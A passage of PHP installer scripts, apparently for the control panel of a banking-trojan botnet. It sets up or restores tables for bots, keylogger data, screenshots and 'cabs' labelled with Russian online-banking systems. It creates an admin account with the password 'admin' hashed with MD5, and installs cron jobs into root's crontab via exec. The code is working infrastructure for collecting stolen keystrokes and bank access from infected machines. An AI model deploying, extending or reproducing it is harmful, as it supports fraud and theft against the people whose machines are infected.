if(current($mysqli->query('SHOW TABLES LIKE \'bf_filters_files\'')) == 'bf_filters_files'){
$mysqli->query('DROP TABLE IF EXISTS bf_filters_files_bak');
$mysqli->query('RENAME TABLE bf_filters_files TO bf_filters_files_bak');
}
if(current($mysqli->query('SHOW TABLES LIKE \'bf_filters\'')) == 'bf_filters'){
$mysqli->query('DROP TABLE IF EXISTS bf_filters_bak');
$mysqli->query('RENAME TABLE bf_filters TO bf_filters_bak');
}
if(current($mysqli->query('SHOW TABLES LIKE \'bf_cabs\'')) == 'bf_cabs'){
$mysqli->query('DROP TABLE IF EXISTS bf_cabs_bak');
$mysqli->query('RENAME TABLE bf_cabs TO bf_cabs_bak');
}
if(current($mysqli->query('SHOW TABLES LIKE \'bf_cabs_parts\'')) == 'bf_cabs_parts'){
$mysqli->query('DROP TABLE IF EXISTS bf_cabs_parts_bak');
$mysqli->query('RENAME TABLE bf_cabs_parts TO bf_cabs_parts_bak');
}
if(current($mysqli->query('SHOW TABLES LIKE \'bf_comments\'')) == 'bf_comments'){
$mysqli->query('DROP TABLE IF EXISTS bf_comments_bak');
$mysqli->query('RENAME TABLE bf_comments TO bf_comments_bak');
}
if(current($mysqli->query('SHOW TABLES LIKE \'bf_keylog\'')) == 'bf_keylog'){
$mysqli->query('DROP TABLE IF EXISTS bf_keylog_bak');
$mysqli->query('RENAME TABLE bf_keylog TO bf_keylog_bak');
}
if(current($mysqli->query('SHOW TABLES LIKE \'bf_keylog_data\'')) == 'bf_keylog_data'){
$mysqli->query('DROP TABLE IF EXISTS bf_keylog_data_bak');
$mysqli->query('RENAME TABLE bf_keylog_data TO bf_keylog_data_bak');
}
$ERROR = 0;
if(file_exists('scripts/install/install.sql')){
$sql = file_get_contents('scripts/install/install.sql');
}elseif(file_exists('scripts/install/install.sql.tpl')){
$sql = ioncube_read_file(realpath('scripts/install/install.sql.tpl'));
}
$sql .= "\n\r";
include_once('modules/accounts/rights_list.php');
foreach($right as $key => $value){
foreach($value as $key2 => $value2){
$right[$key][$key2] = 'on';
}
}
$sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(1, \''.$lang['ss'].'\', \'\', NULL, 0, \'0\');' . "\r\n";
$sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(2, \''.$lang['es'].'\', \'\', NULL, 0, \'0\');' . "\r\n";
$sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(3, \''.$lang['pls'].'\', \'\', NULL, 0, \'0\');' . "\r\n";
$sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(4, \''.$lang['trs'].'\', \'\', NULL, 0, \'0\');' . "\r\n";
$sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(5, \''.$lang['fs'].'\', \'\', NULL, 0, \'0\');' . "\r\n";
$sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(6, \''.$lang['drsa'].'\', \'\', NULL, 0, \'0\');' . "\r\n";
$sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(7, \''.$lang['drsi'].'\', \'\', NULL, 0, \'0\');' . "\r\n";
$sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(8, \''.$lang['mej'].'\', \'\', NULL, 0, \'1|\');' . "\r\n";
$sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(9, \''.$lang['mej'].'\', \'\', NULL, 0, \'2|\');' . "\r\n";
$sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(10, \''.$lang['mej'].'\', \'\', NULL, 0, \'3|\');' . "\r\n";
$sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(11, \''.$lang['mej'].'\', \'\', NULL, 0, \'4|\');' . "\r\n";
$sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(12, \''.$lang['mej'].'\', \'\', NULL, 0, \'5|\');' . "\r\n";
$sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(13, \''.$lang['mej'].'\', \'\', NULL, 0, \'6|\');' . "\r\n";
$sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(14, \''.$lang['mej'].'\', \'\', NULL, 0, \'7|\');' . "\r\n";
$sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(15, \''.$lang['sng'].'\', \'\', NULL, 0, \'1|\');' . "\r\n";
$sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(16, \''.$lang['sng'].'\', \'\', NULL, 0, \'2|\');' . "\r\n";
$sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(17, \''.$lang['sng'].'\', \'\', NULL, 0, \'3|\');' . "\r\n";
$sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(18, \''.$lang['sng'].'\', \'\', NULL, 0, \'4|\');' . "\r\n";
$sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(19, \''.$lang['sng'].'\', \'\', NULL, 0, \'5|\');' . "\r\n";
$sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(20, \''.$lang['sng'].'\', \'\', NULL, 0, \'6|\');' . "\r\n";
$sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(21, \''.$lang['sng'].'\', \'\', NULL, 0, \'7|\');' . "\r\n";
$config = array();
$config['prefix'] = '';
$config['cp'] = array();
$config['cp']['bots'] = '100';
$config['cp']['bots_country'] = '100';
$config['cp']['keylog'] = '100';
$config['cp']['keylogp'] = '100';
$config['cp']['cabs'] = '100';
$config['cp']['filters'] = '100';
$config['jabber'] = '';
$config['sbbc'] = '0';
$config['klimit'] = '';
$config['hunter_limit'] = '0';
$sql .= "\n\r";
$sql .= 'INSERT INTO bf_users (login, password, config, access, enable) VALUES (\'admin\', \''.MD5('admin').'\', \''.json_encode($config).'\', \''.json_encode($right).'\', \'1\');';
if(current($mysqli->query('SHOW TABLES LIKE \'bf_bots_bak\'')) == 'bf_bots_bak'){
$sql .= "\n\r";
$sql .= "DROP TABLE IF EXISTS bf_bots;";
$sql .= "\n\r";
$sql .= "RENAME TABLE bf_bots_bak TO bf_bots;";
}
if(current($mysqli->query('SHOW TABLES LIKE \'bf_bots_ip_bak\'')) == 'bf_bots_ip_bak'){
$sql .= "\n\r";
$sql .= "DROP TABLE IF EXISTS bf_bots_ip;";
$sql .= "\n\r";
$sql .= "RENAME TABLE bf_bots_ip_bak TO bf_bots_ip;";
}
if(current($mysqli->query('SHOW TABLES LIKE \'bf_filters_unnecessary_bak\'')) == 'bf_filters_unnecessary_bak'){
$sql .= "\n\r";
$sql .= "DROP TABLE IF EXISTS bf_filters_unnecessary;";
$sql .= "\n\r";
$sql .= "RENAME TABLE bf_filters_unnecessary_bak TO bf_filters_unnecessary;";
}
if(current($mysqli->query('SHOW TABLES LIKE \'bf_filters_files_bak\'')) == 'bf_filters_files_bak'){
$sql .= "\n\r";
$sql .= "DROP TABLE IF EXISTS bf_filters_files;";
$sql .= "\n\r";
$sql .= "RENAME TABLE bf_filters_files_bak TO bf_filters_files;";
}
if(current($mysqli->query('SHOW TABLES LIKE \'bf_filters_save_bak\'')) == 'bf_filters_save_bak'){
$sql .= "\n\r";
$sql .= "DROP TABLE IF EXISTS bf_filters_save;";
$sql .= "\n\r";
$sql .= "RENAME TABLE bf_filters_save_bak TO bf_filters_save;";
}
if(current($mysqli->query('SHOW TABLES LIKE \'bf_filters_bak\'')) == 'bf_filters_bak'){
$sql .= "\n\r";
$sql .= "DROP TABLE IF EXISTS bf_filters;";
$sql .= "\n\r";
$sql .= "RENAME TABLE bf_filters_bak TO bf_filters;";
}
if(current($mysqli->query('SHOW TABLES LIKE \'bf_cabs_bak\'')) == 'bf_cabs_bak'){
$sql .= "\n\r";
$sql .= "DROP TABLE IF EXISTS bf_cabs;";
$sql .= "\n\r";
$sql .= "RENAME TABLE bf_cabs_bak TO bf_cabs;";
}
if(current($mysqli->query('SHOW TABLES LIKE \'bf_cabs_parts_bak\'')) == 'bf_cabs_parts_bak'){
$sql .= "\n\r";
$sql .= "DROP TABLE IF EXISTS bf_cabs_parts;";
$sql .= "\n\r";
$sql .= "RENAME TABLE bf_cabs_parts_bak TO bf_cabs_parts;";
}
if(current($mysqli->query('SHOW TABLES LIKE \'bf_comments_bak\'')) == 'bf_comments_bak'){
$sql .= "\n\r";
$sql .= "DROP TABLE IF EXISTS bf_comments;";
$sql .= "\n\r";
$sql .= "RENAME TABLE bf_comments_bak TO bf_comments;";
}
if(current($mysqli->query('SHOW TABLES LIKE \'bf_keylog_bak\'')) == 'bf_keylog_bak'){
$sql .= "\n\r";
$sql .= "DROP TABLE IF EXISTS bf_keylog;";
$sql .= "\n\r";
$sql .= "RENAME TABLE bf_keylog_bak TO bf_keylog;";
}
if(current($mysqli->query('SHOW TABLES LIKE \'bf_keylog_data_bak\'')) == 'bf_keylog_data_bak'){
$sql .= "\n\r";
$sql .= "DROP TABLE IF EXISTS bf_keylog_data;";
$sql .= "\n\r";
$sql .= "RENAME TABLE bf_keylog_data_bak TO bf_keylog_data;";
}
$sql .= "\n\r";
//$sql .= 'ALTER TABLE `bf_cabs` CHANGE `type` `type` VARCHAR( 32 ) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;';
//$sql .= 'ALTER TABLE `bf_comments` CHANGE `type` `type` VARCHAR( 32 ) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;';
//$sql .= 'ALTER TABLE `bf_cabs` ADD INDEX `type` ( `type` );';
//$sql .= 'ALTER TABLE `bf_comments` ADD INDEX `type` ( `type` );';
//$sql .= "\n\r";
$sql .= 'update bf_cabs set type = \'bss\' WHERE (type = \'1\');';
$sql .= 'update bf_cabs set type = \'ibank\' WHERE (type = \'2\');';
$sql .= 'update bf_cabs set type = \'inist\' WHERE (type = \'3\');';
$sql .= 'update bf_cabs set type = \'cyberplat\' WHERE (type = \'4\');';
$sql .= 'update bf_cabs set type = \'kp\' WHERE (type = \'5\');';
$sql .= 'update bf_cabs set type = \'psb\' WHERE (type = \'6\');';
//$sql .= "\n\r";
//$sql .= 'ALTER TABLE `bf_keylog_data` ADD `trash` ENUM( \'0\', \'1\' ) NOT NULL DEFAULT \'0\' AFTER `data` ;';
$sql .= "\n\r";
$sql .= 'OPTIMIZE TABLE `bf_bots`, `bf_bots_ip`, `bf_cabs`, `bf_cabs_parts`, `bf_cmds`, `bf_comments`, `bf_country`, `bf_filters`, `bf_filters_files`, `bf_filters_save`, `bf_filters_unnecessary`, `bf_filter_22`, `bf_filter_ep`, `bf_filter_ft`, `bf_filter_me`, `bf_filter_rd`, `bf_keylog`, `bf_keylog_data`, `bf_links`, `bf_plugins`, `bf_plugin_history`, `bf_process`, `bf_process_stats`, `bf_screens`, `bf_search_result`, `bf_search_task`, `bf_users`;';
$sql .= "\n\r";
//echo $sql;
//$sql = preg_replace('~EXISTS bf_(.*);~i', 'EXISTS bf_$1_new;', $sql);
//$sql = preg_replace('~(TABLE|INTO) bf_(.*) ~iU', '$1 bf_$2_new ', $sql);
if($mysqli->db[0]->multi_query($sql) != true) $INSTALL = true;
//$mysqli->disconnect();
/*
echo '<pre>';
print_r($sql);
echo '</pre>';
*/
}
}
?>
<br />
<?php
if($INSTALL != true){
if($_GET['step'] == 3){
$_SESSION['step'] = 3;
}
?>
<?php echo $lang['myi']; ?>
<hr />
<input type="button" value="<?php echo $lang['next']; ?>" onclick="location = '/install/index.html?step=4';" />
<?php
}else{
?>
<?php echo $lang['pn']; ?>
<br /><br />
<?php
if($ERROR == 1){
print('"<span style="color:red">'.$lang['pnr'].'</span>"!');
}elseif($ERROR == 2){
print('<textarea cols="80" rows="10">'.mysql_urldecode().'</textarea><br /><br />');
print('"<span style="color:red">'.$lang['nsp'].'</span>"!');
}else{
print('"<span style="color:red">'.$lang['npm'].'</span>"!');
}
?>
<hr />
<div align="right" style="width: 450px">
<form method="post" enctype="application/x-www-form-urlencoded">
<?php echo $lang['ads']; ?>: <input type="text" name="host" value="<?php echo $cfg_db['host']; ?>" style="width: 300px">
<br /><br />
<?php echo $lang['pol']; ?>: <input type="text" name="user" value="<?php echo $cfg_db['user']; ?>" style="width: 300px">
<br /><br />
<?php echo $lang['pas']; ?>: <input type="text" name="pass" value="<?php echo $cfg_db['pass']; ?>" style="width: 300px">
<br /><br />
<?php echo $lang['bad']; ?>: <input type="text" name="db" value="<?php echo $cfg_db['db']; ?>" style="width: 300px">
<br /><br />
<?php
if($ERROR == 1){
?>
<input type="button" value="<?php echo $lang['skip']; ?>" onclick="if(confirm('<?php echo $lang['skip']; ?> ?')){location = '/install/index.html?step=3&file_save=no';}" />
<?php
}
?>
<input type="submit" style="width: 310px" />
</form>
</div>
<?php
}
?>
---------------------------------------------------------------------------------next file
"<?php echo $lang['dcz']; ?>"
<br /><br />
<?php
if($_GET['go'] != 'index') exit;
$INSTALL = false;
$cron_job = '1 23 * * * cd '.realpath('./crons/').'/; ./cron-24H.php &> /dev/null' . "\n";
$cron_job .= '1 10,22 * * * cd '.realpath('./crons/').'/; ./cron-12H.php &> /dev/null' . "\n";
$cron_job .= '11 0-23 * * * cd '.realpath('./crons/').'/; ./cron-60m.php &> /dev/null' . "\n";
$cron_job .= '1,31 0-23 * * * cd '.realpath('./crons/').'/; ./cron-30m.php &> /dev/null' . "\n\n";
if(!file_put_contents('cache/cron_job', $cron_job)) $INSTALL = true;
exec('cd '.realpath('./crons/').'/; ./cron-24H.php > /dev/null &');
@exec('crontab -u root ' . realpath('./') . '/cache/cron_job');
$out = exec('crontab -u root -l');
if(strpos($out, 'cron-60m.php') == false) $INSTALL = true;
?>
<br />
<?php
if($INSTALL != true){
if($_GET['step'] == 4){
$_SESSION['step'] = 4;
}
?>
<?php echo $lang['zcd']; ?>
<hr />
<input type="button" value="<?php echo $lang['next']; ?>" onclick="location = '/install/index.html?step=5';" />
<?php
}else{
?>
<?php echo $lang['pn']; ?><br /><br />"<span style="color:red"><?php echo $lang['ndc']; ?></span>"!
<br /><br />
<?php echo $lang['vns']; ?>
<br /><br />
crontab -u root <?php echo realpath('./') . '/cache/cron_job'; ?>
<br /><br />
<?php echo $lang['znf']; ?>
<br /><br />
<input type="button" value="<?php echo $lang['skip']; ?>" onclick="location = '/install/index.html?step=5';" />
<?php
}
?>
------------------------------------------------------------------------------next file
"<?php echo $lang['ps']; ?>"
<br /><br />
<?php
if($_GET['go'] != 'index') exit;
$INSTALL = false;
if($_SESSION['ic'] != true){
if(!file_exists('cache/config.json')){
file_put_contents('cache/config.json', '{"lang":"'.$_SESSION['lang'].'","live":"30","autocmd":"0","http_post_ip":"","jabber":{"admin":"","1":{"uid":"","pass":""},"2":{"uid":"","pass":""},"tracking":"","cab":"0"},"scramb":"0","heap":"0","filters":"0","autorize_key":"0"}');
}
}
?>
<br /><hr /><br />
<?php
if($INSTALL != true){
$_SESSION['ic'] = true;
file_put_contents('cache/install', true);
?>
"<?php echo $lang['zav']; ?>"
<br /><br />
<input type="button" value="<?php echo $lang['aut']; ?>" onclick="location = '/login';" />
<?php
}else{
?>
<?php echo $lang['pn']; ?>!
<?php
}
?>